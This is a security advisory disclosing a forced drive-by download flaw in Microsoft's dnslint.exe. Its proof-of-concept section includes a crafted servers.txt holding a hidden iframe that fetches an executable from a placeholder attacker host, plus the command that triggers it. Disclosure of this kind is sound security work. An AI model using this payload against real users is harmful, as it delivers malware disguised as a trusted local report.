Microsoft Windows – ‘dnslint.exe’ Drive-By Download
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DNSLINT.EXE-FORCED-DRIVE-BY-DOWNLOAD.txt [+] ISR: Apparition Security ***Greetz: indoushka | Eduardo*** Vendor ================= www.microsoft.com Product =========== dnslint.exe - DNS Tool DNSLint is a Microsoft Windows CL utility that helps you to diagnose common DNS name resolution issues. The utility not installed by default on Windows and must be downloaded from microsoft website. Vulnerability Type =================== Forced Drive-by Download Security Issue ================ The tool doesn't verify domain names when parsing DNS text-files using the "/ql" switch making it prone to forced drive-by downloads, providing an end user is tricked into using a server text-file containing a script/binary reference instead of a normally expected domain name. Normal usage: (/r flag generates a report) dnslint.exe /v /y /d somedomain.com /s X.X.X.X /r myreport Unintended consequence usage: dnslint.exe /v /y /d "MALWARE-FILE" /s X.X.X.X /r "myreport" This potentially allows forced downloading of a remote executable to end users host when the report is veiwed in a web browser. Because the download "seemingly" comes from a "trusted" LOCAL location, an end user may "trust" it and ignore Security warnings normally associated with opening executables from their browser. e.g. The generated report is referenced as Local URI e.g. file:///c:/myreport.html and doesn't visibly point at some remote URL. Exploit/POC ============ double slashes required "//" to deal with "spaces" or will break injection. where X.X.X.X is the DNS server IP or use 8.8.8.8 (google DNS), ADVERSARY-IP (attacker IP). 1) "dnslint-update.exe" on remote web server root dir. 2) "servers.txt" DNSLint ;This is a sample DNSLint input file +This DNS server is called: dns1.cp.msft.net [dns~server] X.X.X.X <iframe//src="http://ADVERSARY-IP/dnslint-update.exe"//style="width:0;height:0;border:0;border:none;"></iframe>,a,r ;A record X.X.X.X,ptr,r ;PTR record test1,cname,r ;CNAME record test2,mx,r ;MX record 3) dnslint.exe /ql servers.txt BOOOOOOOM Malwarez dropped :) Optionally, you can point dnslint.exe at a Network share file: \\ADVERSARY-IP\servers.txt Network Access =============== Remote Severity ========= High 7.6 CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx |